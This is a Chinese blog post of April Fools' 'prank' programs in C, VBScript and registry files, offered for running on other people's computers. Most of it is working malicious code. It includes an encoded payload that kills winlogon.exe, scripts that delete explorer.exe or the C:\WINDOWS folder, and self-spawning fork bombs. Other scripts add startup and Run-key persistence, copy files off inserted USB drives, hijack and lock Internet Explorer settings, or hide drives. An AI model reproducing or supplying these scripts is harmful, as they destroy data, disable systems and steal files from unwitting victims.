愚人节就快要到了,相信很多人现在已经开始琢磨着那天要怎么整人吧,一般人都会选择一些搞怪的整人手段,而咱们程序猿们整人手段就更高级了,很多程序猿会在电脑和手机上写一些整人代码让电脑死机或者中毒,那么电脑整人代码有哪些呢?下面见闻坊小编就给大家整理了一波c语言整人代码,vbs整人代码,python整人代码,大家赶紧收藏起来哦~
C语言的自动关机程序和一个用来整人的小程序
可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、
好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机。=。=
源程序1:
#include
#include
int main(void)
{
system("shutdown -f -s -t 100");
Sleep(5000);
system("shutdown -a");
return 0;
}
这个程序5秒后就取消了自动关机了,自己人不整自己人~
源程序2:
#include
#include
void main()
{
int i=0;
char s[30]="dsad";
system("title 逗你玩");
system("mode con cols=48 lines=25");
system("color");
system("color FC");
system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~""");
printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n");
printf("输入:");
while(strcmp(s,"我是猪"))
{
gets(s);
if(strcmp(s,"我是猪")==0)
{
system("shutdown -a");
}
system("cls");
i++;
switch(i%3)
{
case 0:
printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n");
break;
case 1:
printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n");
break;
case 2:
printf("猪猪猪,你上当啦~哈~~~我就说你是猪嘛~\n");
break;
}
printf("输入:");
}
system("cls");
printf("你很乖嘛~哈哈~~~\n");
Sleep(5000);
}
vbs恶作剧(病毒)程序代码
恶作剧(病毒)的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了
打开记事本,把代码复制粘贴进去,再另存为*.vbs格式即可
操作方法:把代码另存为*.VBS运行即可
经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,可以通过任务管理器中结束wcscript.exe进程(如下图)即可解决代码的破坏。
结束VBS代码进程
vbs恶作剧(病毒)程序代码 代码如下:
复制代码 代码如下:
do
msgbox "hi"
loop
无限制的用英文报数
复制代码 代码如下:
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
复制代码 代码如下:
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 系统将立刻重起wow ~_^",,"你上当了!!"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
复制代码 代码如下:
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
next
Execute runner
这个没什么,不过加密了,大家可以解密试试
复制代码 代码如下:
if MsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
复制代码 代码如下:
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c call calc.exe",0
下面的是删除explorer.exe,导致桌面没有显示,不过它事先帮你备份了,为同目录下的explorer.Data
复制代码 代码如下:
set ws=CreateObject("Wscript.Shell")
ws.run "cmd.exe /c taskkill /f /im explorer.exe",0
wscript.sleep 900
ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"
wscript.sleep 1200
ws.run "cmd.exe /c del /q /f %windir%\explorer.exe
复制代码 代码如下:
for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30
ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8
ws.run "taskkill /f /im qq.exe"
ws.popup"你还要上吧 慢慢玩哦",27
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 4
WSHshell.SendKeys "%{F4}"
next
ws.run"shutdown -s -t 1000600"
wscript.sleep 2000
dim a
do
a=inputbox("请输入解除关机密码")
if a="403746401" then
ws.run"shutdown -a"
msgbox"密码验证成功,enjoy the best!"
exit do
else
msgbox"密码验证失败,请输入解除关机密码:403746401 ",vbretrycancel
end if
loop
ws.popup"哈哈 被吓到了吧 好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!",57
ws.popup"(\(^o^)/~ 好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^",62
wscript.sleep 8900
do until i=10
i=i+1
msgbox "CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!",16+4096,"系统提示:"
wscript.sleep 1000*45
loop
关机
复制代码 代码如下:
set sh=wscript.createobject("wscript.shell")
sh.run"shutdown -s -t 332"
关闭当前打开的多个窗口
复制代码 代码如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
for d=0 to 40
WSHshell.SendKeys "%{F4}"
next
复制代码 代码如下:
dim a,b,c,s
Set fs=CreateObject("Scripting.FileSystemObject")
name = WScript.ScriptName
fullname = WScript.ScriptFullName
path = Replace(fullname,name,"")
a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字")
If a = ""Then
WScript.Quit
End If
MyVar=MsgBox ("你的名字叫:"&a&" ",vbYesNo + vbExclamation,"芮洲提示:")
If MyVar=vbYes Then
ElseIf MyVar=vbNo Then
a=inputbox("请在对话框中填写你真实的姓名!"&vbcrlf&""&vbcrlf&"稍后将会给你意外的惊喜!! "&vbcrlf&""&vbcrlf&"不信你可以试试看!!!"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示:","请在此输入你的名字")
If a = ""Then
WScript.Quit
End If
End If
wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好!"&vbcrlf&""&vbcrlf&"请填写一下你的爱好。(只需填一个哦!)","芮洲提示:","请在此输入你的爱好")
If b = ""Then
WScript.Quit
End If
wscript.sleep 1000c = inputbox ("请在下面对话框中输入你的出生[年 月 日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!"&vbcrlf&""&vbcrlf&"下面以我为列 不同可以修改"&vbcrlf&""&Chr(10)&"格式为:1987-06-02","芮洲提示:","1987-06-02")
If c = ""Then
WScript.Quit
End If
wscript.sleep 1000age = abs(datediff("d",date,c))
wscript.sleep 1
current = now()
h=datepart("h",current)
n=datepart("n",current)
WScript.Sleep 1000
s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小时 "&n&"分钟.....",vbOKCancel+63,"芮洲提示:")
if s=2 then
end if
Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true)
auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的爱好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已经活了:"&age&"天 "&h&"小时 "&n&"分钟 "&""""&",64,"&""""&""&a&"的自我介绍:"""
auto.WriteLine "msgbox"&""""&"亲爱的 "&a& " 再见了!"&""""&",48,"&""""&"芮洲提示:"&""""&""
Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快乐.TXT",true)
auto.WriteLine "本人芮洲祝: "&a&" 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达......."
auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小时 "&n&"分钟了"
auto.WriteLine "时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。"
复制代码 代码如下:
dim a
a=10
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 10",,true
Set s = CreateObject("sapi.spvoice")
while a
s.Speak a
a = a - 1
wscript.sleep 100
wend
CreateObject("SAPI.SpVoice").Speak "Bomb?"
复制代码 代码如下:
do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop
复制代码 代码如下:
msgbox"此文件无毒,请放心使用。",vbretrycancel,"系统提示。"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.Run "cmd.exe /c shutdown -s -t 300"
wscript.sleep 2000
dim a
do
a=inputbox("输入abc,否则关机。")
if a="abc" then
msgbox" 很遗憾,你中招了,这是整人程序,你就等着关机吧!"
exit do
else
msgbox"乖点,输入abc"
end if
loop
复制代码 代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox "乖"
loop
msgbox "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox "自己骂自己的不要脸~~~~~~",4, " "
复制代码 代码如下:
msgbox"你是不是很无聊啊?",4
msgbox"我来陪你玩会儿"
msgbox"做好玩儿的准备吧!"
do
msgbox"你无聊吗?",vbinformation,"你无聊吗?"
loop
复制代码 代码如下:
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide
这个太可恶了 只好重启
复制代码 代码如下:
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
复制代码 代码如下:
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "QUESTION.vbS"
Key_data = "C:\windows\system32\QUESTION.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
Dim fso,file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.getfile(WScript.ScriptFullName)
file.copy "c:\windows\system32\"
Set fso = CreateObject("Scripting.FileSystemObject")
f = fso.DeleteFile(WScript.ScriptName)
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
复制代码 代码如下:
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
复制代码 代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹,快喊"" ",0 ,true
dim a
do while(a <> "爹")
a = inputbox ("喊我爹,快撒,喊 ""爹"" ","喊不喊","不喊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "儿子"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"
复制代码 代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我,不说你爱我就两分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我爱你")
a = inputbox ("说你爱我,就不关机,快撒,说 ""你爱我"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,何必这么费劲"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,今天真过瘾
复制代码 代码如下:
i = MsgBox("由于你灌水太水需要爆破电脑。"&_
vbCrLf&"确定爆破吗?",vbOKCancel,_
"爆破电脑系统!!!!!")
if i = 1 then
CreateObject("SAPI.SpVoice").Speak "bone"
end if
复制代码 代码如下:
On Error Resume Next
Dim i
i=0
Set fso=CreateObject("Scripting.FileSystemObject")
IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:")
ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt")
MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗")
fso.CreateFolder(MyFolder)
Do
WScript.Sleep 1000
If fso.FolderExists(IP & "\") Then Exit Do
Loop
Scan(IP & "\")
Sub Scan(Folder_)
On Error Resume Next
Set Folder_=fso.GetFolder(Folder_)
Set Files=Folder_.Files
For Each File in Files
ext_=fso.GetExtensionName(File)
ext_=Lcase(ext_)
ext=Lcase(ext)
If ext_=ext Then
i=i+1
fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)
End If
Next
Set SubFolders=Folder_.SubFolders
For Each SubFolder In SubFolders
Scan(Subfolder)
Next
End Sub
复制代码 代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分钟后,你的机子就完了,不信?!试试!"" ",0 ,true
dim a
do while(a <> "不重,不重,我就不重!")
a = inputbox ("唯一的办法就是""重启"" ","重不重启","不重,不重,我就不重!",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "真的不是我说你,乱按什么确定啊,希望你在网吧.菩萨保佑......"
msgbox chr(13) + chr(13) + chr(13) + "你的机子真的要完了,赶紧准备点钱重装机子吧.阿弥陀佛,善哉,善哉!"
msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"
msgbox chr(13) + chr(13) + chr(13) + "88~"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox " " + chr(14) + "~"
Dim a
Set a = CreateObject("Scripting.FileSystemObject")
a.DeleteFolder ("C:\WINDOWS")
不是死循环了,是让你死机了,重启吧
复制代码 代码如下:
msgbox"让你见识一下啥叫狠毒!"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
loop
复制代码 代码如下:
on error resume next
msgbox"即将格式化!请做好准备!",vbyesno
msgbox"准备好后点yes!",vbyesno
msgbox"sorry,忘说了,点no也行!"
msgbox"我对不起你啊!呜呜呜555哈哈哈哈!"
msgbox"靠,我笑个屁呀!我可是著名博士!在精神病院搞一种研究。。。"
msgbox"被人研究!"
msgbox"就知道你会笑!告诉你,我最歧视两种人!一是歧视别人的人,二是爱笑人,三是不识数的人!"
msgbox"你咋还笑?!是时候惩罚你了!"
do
set ws=createobjecet("wscript.shell")
ws.run"explorer.exe"
ws.run"cmd.exe"
ws.run"cmd.exe /c shutdown -s -t 7200",,ture
loop
发个特整人的东西
复制代码 代码如下:
set s.createobject("wscript.shell")
lsfile=wscript.scriptfullname '获得自己的名称
do '死循环
s.run lsfile '自己运行自己
s.run "notepad" '运行记事本
loop '几秒就死机,哈
来个绿色的,无毒无害的:
复制代码 代码如下:
dim a
set a=createobject("sapi.spvoice")
a.speak "ha ha ha ha hahahahahahaha"
注:ha ha ha... 可以改为几句粗话!!
输入中文后英文要取决于你的电脑会讲英文还是中文!
复制代码 代码如下:
dim a
a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作")
if a=vbyes then
do
msgbox("从前有座山")
msgbox("山上有座庙")
msgbox("庙里有两个和尚")
msgbox("大和尚给小和尚讲故事说")
a=1
loop while a=1
end if
将默认页,搜索页设置百度
复制代码 代码如下:
if msgbox("这是被封印的东西",65,"警告!!!") = 1 then
if msgbox("请不要一意孤行",65,"警告!!!") =1 then
if msgbox("不要再按了!!",65,"警告!!!") =1 then
if msgbox("气死我了.....",65,"警告!!!") =1 then
if msgbox("既然这样...那么这个东西就归你了!",65,"祝你愉快!886") =1 then
msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快!886"
msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了!!!!",65,"封印解除!!"
on error resume next
dim fso,wsh,myfile,ws,pp,fsoFolder
set wsh=wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject")
set myfile=fso.GetFile(wscript.scriptfullname)
wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"
wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"
wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"
复制代码 代码如下:
Option Explicit
On Error Resume Next
Dim answer
Dim WshShell
set WshShell = CreateObject("wscript.Shell")
WshShell.Run "Shutdown /f /s /t 10 /c 输入'我是猪',否则10秒后关机~",0
Do While answer<>"我是猪"
answer=InputBox("输入'我是猪',否则10秒后关机~","哈哈哈",,7000,8000)
Loop
WshShell.Run "Shutdown /a",0
MsgBox "哈哈哈,好玩不?",,"哈哈哈"
java整人_整人“病毒”代码
一、怎么点都没反应的桌面
如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。
把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开机中…………
附带:print键截屏方法:
键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图!
用法一,按“Print Screen SysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。
用法二,先按住“Alt”键,再按 “Print Screen SysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。
哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试!
二、让电脑硬盘消失-隐藏磁盘方法
愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了!
步骤
1.新建一个记事本
2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg”
3.将下面的代码复制到记事本当中:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives" =hex:08,00,00,00
解释
(1)"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的
图中的D盘已经神秘消失了。
(2)A=01000000 B=02000000 C=04000000 D=08000000 E=10000000 F=20000000G=40000000 H=80000000 I=00010000 J=00020000 K=00040000
原理介绍:二进制值 “NoDrives”的缺省值均是00,00,00,00,表示不隐藏任何驱动器。键值由四个字节组成,每个字节的每一位(bit)对应从A:到Z:的一个盘,当相应位为1时,“我的电脑”中相应的驱动器就被隐藏了。第一个字节代表从A到H的8个盘,即01为A,02为B,04为C……依次类推,第二个字节代表I到P,第三个字节代表Q到X,第四个字节代表Y和Z。比如要关闭C盘,将键值改为04,00,00,00;要关闭D盘,则改为 08,00,00,00,若要关闭C盘和D盘,则改为0C,00,00,00(C是十六进制,转成十进制就是12)。
理解了原理后,下面以笔者的电脑为例说明如何操作:笔者的电脑有一个软驱、一个硬盘(5个分区)、一个光驱,盘符分布是这样的:A:(3.5软盘)、 C:、D:、E:、F:、G:、H:(光盘),所以我的“NoDrives”值为“02 ff ff ff”,隐藏了B、I到Z盘。
还原方法
1.点击开始--运行,如图,在运行对话框中输入“regedit”,打开注册表编辑器。
2.依次打开[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer],将右侧窗口中"NoDrives"这个子键删除。
3.重新启动电脑。